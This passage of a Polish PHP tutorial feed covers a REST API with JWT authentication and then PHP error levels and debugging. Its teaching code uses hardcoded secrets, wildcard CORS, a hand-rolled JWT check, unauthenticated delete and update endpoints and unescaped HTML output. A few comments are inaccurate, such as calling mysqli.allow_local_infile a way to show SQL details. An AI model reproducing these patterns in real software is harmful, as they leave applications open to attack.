        $coins = isset($data&#91;'coins']) ? (int)$data&#91;'coins'] : null;
        
        // Buduj dynamiczne zapytanie UPDATE
        $updates = &#91;];
        $params = &#91;];
        $types = '';
        
        if (!empty($email)) {
            $updates&#91;] = "email = ?";
            $params&#91;] = $email;
            $types .= 's';
        }
        
        if ($level !== null) {
            $updates&#91;] = "level = ?";
            $params&#91;] = $level;
            $types .= 'i';
        }
        
        if ($coins !== null) {
            $updates&#91;] = "coins = ?";
            $params&#91;] = $coins;
            $types .= 'i';
        }
        
        if (empty($updates)) {
            Response::error('No fields to update', 400);
        }
        
        $updates&#91;] = "updated_at = NOW()";
        $params&#91;] = $this-&gt;user_id;
        $types .= 'i';
        
        $sql = "UPDATE users SET " . implode(', ', $updates) . " WHERE id = ?";
        
        $affected = $this-&gt;db-&gt;update($sql, $params, $types);
        
        // Pobierz zaktualizowanego użytkownika
        $updated_user = $this-&gt;db-&gt;fetchOne(
            "SELECT id, username, email, level, coins, updated_at FROM users WHERE id = ?",
            &#91;$this-&gt;user_id],
            'i'
        );
        
        Response::success($updated_user, 'User updated successfully');
    }
    
    // DELETE - Usuń użytkownika
    private function handleDelete() {
        
        if (!$this-&gt;user_id) {
            Response::error('User ID is required', 400);
        }
        
        // Sprawdź czy użytkownik istnieje
        $user = $this-&gt;db-&gt;fetchOne(
            "SELECT id, username FROM users WHERE id = ?",
            &#91;$this-&gt;user_id],
            'i'
        );
        
        if (!$user) {
            Response::notFound("User with ID {$this-&gt;user_id} not found");
        }
        
        // Usuń użytkownika
        $affected = $this-&gt;db-&gt;delete(
            "DELETE FROM users WHERE id = ?",
            &#91;$this-&gt;user_id],
            'i'
        );
        
        if ($affected &gt; 0) {
            Response::success(&#91;
                'deleted_id' =&gt; $this-&gt;user_id,
                'username' =&gt; $user&#91;'username']
            ], 'User deleted successfully');
        } else {
            Response::serverError('Failed to delete user');
        }
    }
}

// Wykonaj API
$api = new UsersAPI();
$api-&gt;handleRequest();
?&gt;</code></pre>



<h3 class="wp-block-heading">Plik: index.php &#8211; Router</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// index.php

// Nagłówki CORS (pozwól na żądania z innych domen)
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization');

// Obsłuż preflight request (OPTIONS)
if ($_SERVER&#91;'REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit;
}

// Router
$uri = $_SERVER&#91;'REQUEST_URI'];
$uri_parts = explode('/', trim($uri, '/'));

// /api/v1/users
if (isset($uri_parts&#91;2]) &amp;&amp; $uri_parts&#91;2] === 'users') {
    require_once 'users.php';
    exit;
}

// Nieznany endpoint
require_once 'Response.php';
Response::notFound('Endpoint not found');
?&gt;</code></pre>



<h3 class="wp-block-heading">Plik: .htaccess &#8211; URL Rewriting</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"># .htaccess

RewriteEngine On

# Przekieruj wszystko na index.php
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php &#91;QSA,L]</code></pre>



<h2 class="wp-block-heading">6. Testowanie API</h2>



<h3 class="wp-block-heading">Przykłady żądań (curl)</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"># GET - Pobierz wszystkich użytkowników
curl -X GET "http://localhost/api/v1/users"

# GET - Pobierz użytkownika o ID 1
curl -X GET "http://localhost/api/v1/users/1"

# GET - Pobierz z paginacją
curl -X GET "http://localhost/api/v1/users?page=2&amp;limit=5"

# GET - Pobierz z filtrowaniem
curl -X GET "http://localhost/api/v1/users?level_min=10&amp;search=Pro"

# POST - Utwórz użytkownika
curl -X POST "http://localhost/api/v1/users" \
  -H "Content-Type: application/json" \
  -d '{"username":"NewUser","email":"new@example.com","password":"password123"}'

# PUT - Zaktualizuj użytkownika
curl -X PUT "http://localhost/api/v1/users/1" \
  -H "Content-Type: application/json" \
  -d '{"email":"updated@example.com","level":20}'

# DELETE - Usuń użytkownika
curl -X DELETE "http://localhost/api/v1/users/1"</code></pre>



<h3 class="wp-block-heading">Testowanie w Postman</h3>



<ol class="wp-block-list">
<li>Pobierz&nbsp;<strong>Postman</strong>&nbsp;z&nbsp;<a href="https://www.postman.com/" target="_blank" rel="noreferrer noopener">https://www.postman.com/</a></li>



<li>Utwórz nową kolekcję &#8222;Gaming API&#8221;</li>



<li>Dodaj żądania:
<ul class="wp-block-list">
<li>GET /users
<ul class="wp-block-list">
<li>Method: GET</li>



<li>URL:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/api/v1/users</code></li>



<li>Send</li>
</ul>
</li>



<li>POST /users:
<ul class="wp-block-list">
<li>Method: POST</li>



<li>URL:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/api/v1/users</code></li>



<li>Headers:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">Content-Type: application/json</code></li>



<li>Body → raw → JSON:</li>
</ul>
</li>
</ul>
</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">{
  "username": "TestUser",
  "email": "test@example.com",
  "password": "password123"
}</code></pre>



<h2 class="wp-block-heading">7. Konsumowanie zewnętrznych API</h2>



<h3 class="wp-block-heading">file_get_contents() &#8211; Proste żądania GET</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Proste żądanie GET
$url = 'https://jsonplaceholder.typicode.com/users/1';
$response = file_get_contents($url);

if ($response === false) {
    die('Błąd połączenia');
}

$data = json_decode($response, true);
print_r($data);

// Z context (nagłówki, timeout)
$options = &#91;
    'http' =&gt; &#91;
        'method' =&gt; 'GET',
        'header' =&gt; "User-Agent: MyApp/1.0\r\n" .
                    "Accept: application/json\r\n",
        'timeout' =&gt; 10
    ]
];

$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
$data = json_decode($response, true);
?&gt;</code></pre>



<h3 class="wp-block-heading">cURL &#8211; Zaawansowane żądania</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Funkcja pomocnicza do żądań cURL
function apiRequest($url, $method = 'GET', $data = null, $headers = &#91;]) {
    
    $ch = curl_init();
    
    // Ustawienia podstawowe
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    // Metoda HTTP
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    
    // Dane (dla POST, PUT)
    if ($data !== null) {
        $json_data = json_encode($data);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
        $headers&#91;] = 'Content-Type: application/json';
        $headers&#91;] = 'Content-Length: ' . strlen($json_data);
    }
    
    // Nagłówki
    if (!empty($headers)) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }
    
    // Wyślij żądanie
    $response = curl_exec($ch);
    
    // Sprawdź błędy
    if (curl_errno($ch)) {
        $error = curl_error($ch);
        curl_close($ch);
        throw new Exception("cURL Error: $error");
    }
    
    // Pobierz kod statusu
    $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    return &#91;
        'status_code' =&gt; $status_code,
        'body' =&gt; json_decode($response, true)
    ];
}

// Przykłady użycia

// GET
try {
    $result = apiRequest('https://jsonplaceholder.typicode.com/users/1', 'GET');
    echo "Status: {$result&#91;'status_code']}&lt;br&gt;";
    print_r($result&#91;'body']);
    
} catch (Exception $e) {
    echo "Błąd: " . $e-&gt;getMessage();
}

// POST
$new_post = &#91;
    'title' =&gt; 'Test Post',
    'body' =&gt; 'This is a test',
    'userId' =&gt; 1
];

$result = apiRequest(
    'https://jsonplaceholder.typicode.com/posts',
    'POST',
    $new_post
);

echo "Created Post ID: " . $result&#91;'body']&#91;'id'];

// PUT
$updated_post = &#91;
    'title' =&gt; 'Updated Title',
    'body' =&gt; 'Updated content',
    'userId' =&gt; 1
];

$result = apiRequest(
    'https://jsonplaceholder.typicode.com/posts/1',
    'PUT',
    $updated_post
);

// DELETE
$result = apiRequest(
    'https://jsonplaceholder.typicode.com/posts/1',
    'DELETE'
);
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład &#8211; Integracja z GitHub API</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function getGitHubUser($username) {
    
    $url = "https://api.github.com/users/$username";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'MyApp/1.0'); // GitHub wymaga User-Agent
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    $response = curl_exec($ch);
    $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($status_code === 404) {
        return null; // Użytkownik nie znaleziony
    }
    
    if ($status_code !== 200) {
        throw new Exception("GitHub API error: HTTP $status_code");
    }
    
    return json_decode($response, true);
}

try {
    $user = getGitHubUser('octocat');
    
    if ($user) {
        echo "GitHub User: {$user&#91;'login']}&lt;br&gt;";
        echo "Name: {$user&#91;'name']}&lt;br&gt;";
        echo "Public Repos: {$user&#91;'public_repos']}&lt;br&gt;";
        echo "Followers: {$user&#91;'followers']}&lt;br&gt;";
        echo "&lt;img src='{$user&#91;'avatar_url']}' width='100'&gt;&lt;br&gt;";
    } else {
        echo "User not found";
    }
    
} catch (Exception $e) {
    echo "Error: " . $e-&gt;getMessage();
}
?&gt;</code></pre>



<h2 class="wp-block-heading">8. Autentykacja API</h2>



<h3 class="wp-block-heading">API Key &#8211; Prosty klucz dostępu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Sprawdź API key w nagłówku
$headers = getallheaders();
$api_key = $headers&#91;'X-API-Key'] ?? '';

$valid_keys = &#91;
    'abc123xyz' =&gt; 'user_1',
    'def456uvw' =&gt; 'user_2'
];

if (!isset($valid_keys&#91;$api_key])) {
    Response::unauthorized('Invalid API key');
}

$user_id = $valid_keys&#91;$api_key];
// Kontynuuj przetwarzanie...
?&gt;</code></pre>



<h3 class="wp-block-heading">Bearer Token &#8211; Token w nagłówku Authorization</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Sprawdź Bearer token
$headers = getallheaders();
$auth_header = $headers&#91;'Authorization'] ?? '';

if (!preg_match('/Bearer\s(\S+)/', $auth_header, $matches)) {
    Response::unauthorized('Missing or invalid Authorization header');
}

$token = $matches&#91;1];

// Sprawdź token w bazie
$db = new Database();
$user = $db-&gt;fetchOne(
    "SELECT id, username FROM users WHERE api_token = ? AND token_expires_at &gt; NOW()",
    &#91;$token],
    's'
);

if (!$user) {
    Response::unauthorized('Invalid or expired token');
}

// Token OK - kontynuuj
$current_user_id = $user&#91;'id'];
?&gt;</code></pre>



<h3 class="wp-block-heading">JWT (JSON Web Tokens) &#8211; Podstawy</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Prosty JWT (w produkcji użyj biblioteki firebase/php-jwt)

function generateJWT($user_id, $secret_key) {
    
    $header = &#91;
        'typ' =&gt; 'JWT',
        'alg' =&gt; 'HS256'
    ];
    
    $payload = &#91;
        'user_id' =&gt; $user_id,
        'iat' =&gt; time(),           // Issued at
        'exp' =&gt; time() + (60 * 60) // Expires (1 godzina)
    ];
    
    $base64_header = base64_encode(json_encode($header));
    $base64_payload = base64_encode(json_encode($payload));
    
    $signature = hash_hmac('sha256', "$base64_header.$base64_payload", $secret_key, true);
    $base64_signature = base64_encode($signature);
    
    return "$base64_header.$base64_payload.$base64_signature";
}

function verifyJWT($jwt, $secret_key) {
    
    $parts = explode('.', $jwt);
    
    if (count($parts) !== 3) {
        return false;
    }
    
    list($base64_header, $base64_payload, $base64_signature) = $parts;
    
    // Sprawdź sygnaturę
    $signature = hash_hmac('sha256', "$base64_header.$base64_payload", $secret_key, true);
    $valid_signature = base64_encode($signature);
    
    if ($base64_signature !== $valid_signature) {
        return false;
    }
    
    // Dekoduj payload
    $payload = json_decode(base64_decode($base64_payload), true);
    
    // Sprawdź expiration
    if ($payload&#91;'exp'] &lt; time()) {
        return false; // Token wygasł
    }
    
    return $payload;
}

// Użycie
$secret_key = 'your-secret-key-keep-it-safe';

// Generuj token przy logowaniu
$token = generateJWT(123, $secret_key);
echo "Token: $token&lt;br&gt;";

// Weryfikuj token przy żądaniu API
$payload = verifyJWT($token, $secret_key);

if ($payload) {
    echo "User ID: " . $payload&#91;'user_id'];
} else {
    echo "Invalid token";
}
?&gt;</code></pre>



<h2 class="wp-block-heading">Przykład kompleksowy &#8211; API z autentykacją</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// auth_api.php

require_once 'Response.php';
require_once 'Database.php';

class AuthAPI {
    
    private $db;
    private $secret_key = 'your-secret-key-change-this';
    
    public function __construct() {
        $this-&gt;db = new Database();
    }
    
    public function handleRequest() {
        $method = $_SERVER&#91;'REQUEST_METHOD'];
        $uri = $_SERVER&#91;'REQUEST_URI'];
        
        // Router
        if (strpos($uri, '/login') !== false &amp;&amp; $method === 'POST') {
            $this-&gt;login();
        } elseif (strpos($uri, '/register') !== false &amp;&amp; $method === 'POST') {
            $this-&gt;register();
        } elseif (strpos($uri, '/me') !== false &amp;&amp; $method === 'GET') {
            $this-&gt;getCurrentUser();
        } else {
            Response::notFound('Endpoint not found');
        }
    }
    
    private function login() {
        $json = file_get_contents('php://input');
        $data = json_decode($json, true);
        
        $username = $data&#91;'username'] ?? '';
        $password = $data&#91;'password'] ?? '';
        
        if (empty($username) || empty($password)) {
            Response::error('Username and password are required', 400);
        }
        
        // Sprawdź użytkownika
        $user = $this-&gt;db-&gt;fetchOne(
            "SELECT id, username, password FROM users WHERE username = ?",
            &#91;$username],
            's'
        );
        
        if (!$user || !password_verify($password, $user&#91;'password'])) {
            Response::unauthorized('Invalid username or password');
        }
        
        // Generuj token
        $token = $this-&gt;generateToken($user&#91;'id']);
        
        Response::success(&#91;
            'token' =&gt; $token,
            'user' =&gt; &#91;
                'id' =&gt; $user&#91;'id'],
                'username' =&gt; $user&#91;'username']
            ]
        ], 'Login successful');
    }
    
    private function register() {
        $json = file_get_contents('php://input');
        $data = json_decode($json, true);
        
        $username = trim($data&#91;'username'] ?? '');
        $email = trim($data&#91;'email'] ?? '');
        $password = $data&#91;'password'] ?? '';
        
        // Walidacja...
        
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        $new_id = $this-&gt;db-&gt;insert(
            "INSERT INTO users (username, email, password, created_at) VALUES (?, ?, ?, NOW())",
            &#91;$username, $email, $password_hash],
            'sss'
        );
        
        $token = $this-&gt;generateToken($new_id);
        
        Response::success(&#91;
            'token' =&gt; $token,
            'user' =&gt; &#91;
                'id' =&gt; $new_id,
                'username' =&gt; $username
            ]
        ], 'Registration successful', 201);
    }
    
    private function getCurrentUser() {
        $user_id = $this-&gt;verifyToken();
        
        $user = $this-&gt;db-&gt;fetchOne(
            "SELECT id, username, email, level, coins FROM users WHERE id = ?",
            &#91;$user_id],
            'i'
        );
        
        if (!$user) {
            Response::notFound('User not found');
        }
        
        Response::success($user);
    }
    
    private function generateToken($user_id) {
        $payload = &#91;
            'user_id' =&gt; $user_id,
            'iat' =&gt; time(),
            'exp' =&gt; time() + (24 * 60 * 60) // 24 godziny
        ];
        
        $header = base64_encode(json_encode(&#91;'typ' =&gt; 'JWT', 'alg' =&gt; 'HS256']));
        $payload = base64_encode(json_encode($payload));
        $signature = base64_encode(hash_hmac('sha256', "$header.$payload", $this-&gt;secret_key, true));
        
        return "$header.$payload.$signature";
    }
    
    private function verifyToken() {
        $headers = getallheaders();
        $auth_header = $headers&#91;'Authorization'] ?? '';
        
        if (!preg_match('/Bearer\s(\S+)/', $auth_header, $matches)) {
            Response::unauthorized('Missing or invalid Authorization header');
        }
        
        $token = $matches&#91;1];
        $parts = explode('.', $token);
        
        if (count($parts) !== 3) {
            Response::unauthorized('Invalid token format');
        }
        
        list($header, $payload_encoded, $signature) = $parts;
        
        // Weryfikuj sygnaturę
        $valid_signature = base64_encode(hash_hmac('sha256', "$header.$payload_encoded", $this-&gt;secret_key, true));
        
        if ($signature !== $valid_signature) {
            Response::unauthorized('Invalid token signature');
        }
        
        // Dekoduj payload
        $payload = json_decode(base64_decode($payload_encoded), true);
        
        // Sprawdź expiration
        if ($payload&#91;'exp'] &lt; time()) {
            Response::unauthorized('Token expired');
        }
        
        return $payload&#91;'user_id'];
    }
}

$api = new AuthAPI();
$api-&gt;handleRequest();
?&gt;</code></pre>
<p>Artykuł <a href="https://kamakaczmarek.net/24-php-json-i-rest-api/">24. PHP – JSON i REST API</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>23. PHP &#8211; Debugowanie i obsługa błędów</title>
		<link>https://kamakaczmarek.net/23-php-debugowanie-i-obsluga-bledow/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Thu, 28 May 2026 09:29:01 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=3548</guid>

					<description><![CDATA[<p>Debugowanie&#160;to&#160;proces&#160;znajdowania&#160;i&#160;naprawiania&#160;błędów&#160;w&#160;kodzie.&#160;To&#160;umiejętność,&#160;która&#160;odróżnia&#160;początkującego&#160;od&#160;doświadczonego&#160;programisty. TaskQuest Dodatek Rodzaje błędów w PHP 1. Parse Errors (Błędy składni) Błędy w składni kodu &#8211; PHP nie może nawet uruchomić skryptu. Komunikat błędu: 2. Fatal Errors (Błędy krytyczne) Błędy krytyczne przerywające wykonanie skryptu. Komunikat błędu: 3. Warning (Ostrzeżenia) Ostrzeżenia nie przerywają wykonania skryptu, ale wskazują na problemy. Komunikat błędu: 4. Notice (Notki) Najmniej [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/23-php-debugowanie-i-obsluga-bledow/">23. PHP &#8211; Debugowanie i obsługa błędów</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><strong>Debugowanie</strong>&nbsp;to&nbsp;proces&nbsp;znajdowania&nbsp;i&nbsp;naprawiania&nbsp;błędów&nbsp;w&nbsp;kodzie.&nbsp;To&nbsp;umiejętność,&nbsp;która&nbsp;odróżnia&nbsp;początkującego&nbsp;od&nbsp;doświadczonego&nbsp;programisty.</p>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<h2 class="wp-block-heading">Rodzaje błędów w PHP</h2>



<h3 class="wp-block-heading">1. Parse Errors (Błędy składni)</h3>



<p class="wp-block-heading wp-block-paragraph">Błędy w składni kodu &#8211; PHP nie może nawet uruchomić skryptu.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Błąd: brak średnika
echo "Hello World"

// Błąd: brak zamykającego nawiasu
if ($x &gt; 5 {
    echo "OK";
}

// Błąd: brak zamykającego cudzysłowu
echo "Hello;
?&gt;</code></pre>



<p class="wp-block-paragraph">Komunikat błędu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Parse error: syntax error, unexpected end of file in script.php on line 3</code></pre>



<h3 class="wp-block-heading">2. Fatal Errors (Błędy krytyczne)</h3>



<p class="wp-block-paragraph">Błędy krytyczne przerywające wykonanie skryptu.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Wywołanie nieistniejącej funkcji
nieistniejacaFunkcja();

// Przekroczenie limitu pamięci
$huge_array = array_fill(0, 10000000, 'data');

// Błąd require/include
require 'nieistniejacy_plik.php';
?&gt;</code></pre>



<p class="wp-block-paragraph">Komunikat błędu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Call to undefined function nieistniejacaFunkcja()</code></pre>



<h3 class="wp-block-heading">3. Warning (Ostrzeżenia)</h3>



<p class="wp-block-paragraph">Ostrzeżenia nie przerywają wykonania skryptu, ale wskazują na problemy.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Otwarcie nieistniejącego pliku
$file = fopen('nieistniejacy.txt', 'r');

// Dzielenie przez zero
$result = 10 / 0;

// Użycie niezdefiniowanej zmiennej
echo $niezdefiniowana;
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Komunikat błędu:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: fopen(nieistniejacy.txt): failed to open stream: No such file or directory
Warning: Division by zero</code></pre>



<h3 class="wp-block-heading">4. Notice (Notki)</h3>



<p class="wp-block-paragraph">Najmniej poważne komunikaty &#8211; sugestie ulepszeń.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Użycie niezdefiniowanego klucza tablicy
$tab = &#91;'a' =&gt; 1];
echo $tab&#91;'b'];

// Użycie niezdefiniowanej zmiennej
echo $x;

// Użycie niezdefiniowanej stałej
echo NIEISTNIEJACA_STALA;
?&gt;</code></pre>



<p class="wp-block-paragraph">Komunikat błędu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Notice: Undefined index: b
Notice: Undefined variable: x
Notice: Use of undefined constant NIEISTNIEJACA_STALA</code></pre>



<h3 class="wp-block-heading">5. Deprecated (Przestarzałe)</h3>



<p class="wp-block-paragraph">Informacje o przestarzałych funkcjach.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Przestarzała funkcja
mysql_connect('localhost', 'root', ''); // Deprecated w PHP 5.5, usunięte w PHP 7.0

// Przestarzały sposób tworzenia obiektu
$date = new DateTime;
$date-&gt;setDate(2024, 13, 32); // Deprecated warning
?&gt;</code></pre>



<h2 class="wp-block-heading">1. error_reporting() &#8211; Poziomy błędów</h2>



<h3 class="wp-block-heading">Konfiguracja raportowania błędów</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Wyświetl WSZYSTKIE błędy (rozwój)
error_reporting(E_ALL);

// Wyświetl wszystkie oprócz Notice
error_reporting(E_ALL &amp; ~E_NOTICE);

// Wyświetl tylko błędy krytyczne
error_reporting(E_ERROR | E_WARNING | E_PARSE);

// Wyłącz wyświetlanie błędów (produkcja)
error_reporting(0);

// Sprawdź aktualny poziom
echo error_reporting(); // Zwraca liczbę (np. 32767 dla E_ALL)
?&gt;</code></pre>



<h3 class="wp-block-heading">Poziomy błędów &#8211; kompletna lista</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Błędy krytyczne
E_ERROR             // Błędy krytyczne (fatal errors)
E_PARSE             // Błędy składni
E_CORE_ERROR        // Błędy w jądrze PHP
E_COMPILE_ERROR     // Błędy kompilacji

// Ostrzeżenia
E_WARNING           // Ostrzeżenia runtime
E_CORE_WARNING      // Ostrzeżenia jądra PHP
E_COMPILE_WARNING   // Ostrzeżenia kompilacji
E_USER_WARNING      // Własne ostrzeżenia (trigger_error)

// Notki i informacje
E_NOTICE            // Notki runtime
E_USER_NOTICE       // Własne notki
E_STRICT            // Sugestie najlepszych praktyk
E_DEPRECATED        // Przestarzałe funkcje
E_USER_DEPRECATED   // Własne deprecation

// Wszystkie
E_ALL               // Wszystkie błędy i ostrzeżenia
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład &#8211; Różne konfiguracje dla środowisk</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// config.php

// Wykryj środowisko
$environment = getenv('APP_ENV') ?: 'development';

if ($environment === 'development') {
    // ROZWÓJ - pokaż wszystkie błędy
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    
} elseif ($environment === 'staging') {
    // STAGING - pokaż błędy, ale loguj je
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    ini_set('log_errors', 1);
    ini_set('error_log', '/var/log/php/staging_errors.log');
    
} else {
    // PRODUKCJA - ukryj błędy, tylko loguj
    error_reporting(E_ALL);
    ini_set('display_errors', 0);
    ini_set('display_startup_errors', 0);
    ini_set('log_errors', 1);
    ini_set('error_log', '/var/log/php/production_errors.log');
}
?&gt;</code></pre>



<h2 class="wp-block-heading">2. ini_set() &#8211; Konfiguracja PHP w runtime</h2>



<h3 class="wp-block-heading">Podstawowe ustawienia</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Wyświetlanie błędów
ini_set('display_errors', 1);           // Wyświetl błędy (0 = wyłącz)
ini_set('display_startup_errors', 1);   // Błędy przy starcie PHP

// Logowanie błędów
ini_set('log_errors', 1);               // Loguj błędy do pliku
ini_set('error_log', 'errors.log');     // Ścieżka do pliku logów

// Limity
ini_set('memory_limit', '256M');        // Limit pamięci
ini_set('max_execution_time', 60);      // Czas wykonania (sekundy)
ini_set('upload_max_filesize', '10M');  // Max rozmiar uploadu

// Inne
ini_set('default_charset', 'UTF-8');
ini_set('date.timezone', 'Europe/Warsaw');

// Sprawdź wartość ustawienia
echo ini_get('memory_limit'); // 256M
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład &#8211; Kompleksowa konfiguracja rozwojowa</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// dev_config.php - Konfiguracja dla rozwoju

// Błędy
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Logowanie
ini_set('log_errors', 1);
ini_set('error_log', __DIR__ . '/logs/php_errors.log');

// Limity (luźne dla rozwoju)
ini_set('memory_limit', '512M');
ini_set('max_execution_time', 300);
ini_set('max_input_time', 300);
ini_set('post_max_size', '50M');
ini_set('upload_max_filesize', '50M');

// Sesje
ini_set('session.cookie_httponly', 1);
ini_set('session.use_strict_mode', 1);

// Output buffering (przydatne przy debugowaniu)
ini_set('output_buffering', 'Off');
ini_set('implicit_flush', 1);

// Pokaż szczegóły SQL (tylko dla developmentu!)
ini_set('mysqli.allow_local_infile', 1);

echo "Konfiguracja deweloperska załadowana&lt;br&gt;";
echo "Memory limit: " . ini_get('memory_limit') . "&lt;br&gt;";
echo "Max execution time: " . ini_get('max_execution_time') . "s&lt;br&gt;";
?&gt;</code></pre>



<h2 class="wp-block-heading">3. trigger_error() &#8211; Własne błędy</h2>



<h3 class="wp-block-heading">Wywoływanie własnych błędów</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function divide($a, $b) {
    
    if ($b == 0) {
        // Wywołaj własny błąd
        trigger_error("Dzielenie przez zero!", E_USER_WARNING);
        return false;
    }
    
    return $a / $b;
}

$result = divide(10, 0);

// Bardziej szczegółowe błędy
function processUser($user_id) {
    
    if (!is_int($user_id)) {
        trigger_error("User ID musi być liczbą całkowitą, podano: " . gettype($user_id), E_USER_ERROR);
    }
    
    if ($user_id &lt; 1) {
        trigger_error("User ID musi być dodatni, podano: $user_id", E_USER_WARNING);
        return false;
    }
    
    // Przestarzałe użycie
    if (func_num_args() &gt; 1) {
        trigger_error("Funkcja processUser() przyjmuje tylko jeden argument. Wiele argumentów jest przestarzałe.", E_USER_DEPRECATED);
    }
    
    return "Processing user $user_id";
}

